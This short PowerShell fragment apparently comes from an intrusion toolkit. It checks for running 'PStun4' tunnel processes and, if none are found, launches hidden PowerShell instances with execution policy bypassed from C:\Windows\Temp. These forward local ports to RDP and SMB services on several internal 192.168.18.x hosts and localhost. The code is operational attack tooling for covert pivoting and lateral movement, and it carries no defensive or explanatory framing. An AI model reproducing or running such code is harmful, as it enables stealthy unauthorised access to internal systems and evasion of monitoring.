# 5 verify tunnels; fallback spawn only if none Start-Sleep -Seconds 10 $have = @(Get-CimInstance Win32_Process -Filter "Name='powershell.exe'" | Where-Object { $_.CommandLine -match 'PStun4' }) W ('PSTN|' + $have.Count) if($have.Count -eq 0){ W 'PSTNFALLBACK' $tuns=@(@(5677,'192.168.18.23',3389),@(5678,'192.168.18.19',445),@(5679,'192.168.18.36',445),@(5680,'192.168.18.49',445),@(5681,'127.0.0.1',445),@(5682,'127.0.0.1',3389)) foreach($t in $tuns){ Start-Process -FilePath $ps -ArgumentList '-NoP','-W','Hidden','-EP','Bypass','-File','C:\Windows\Temp\PStun4.ps1','-ServePort',([string]$t[0]),'-TargetHost',$t[1],'-TargetPort',([string]$t[2]) -WindowStyle Hidden W ('SPAWN|'+$t[0]) } Start-Sleep -Seconds 5 }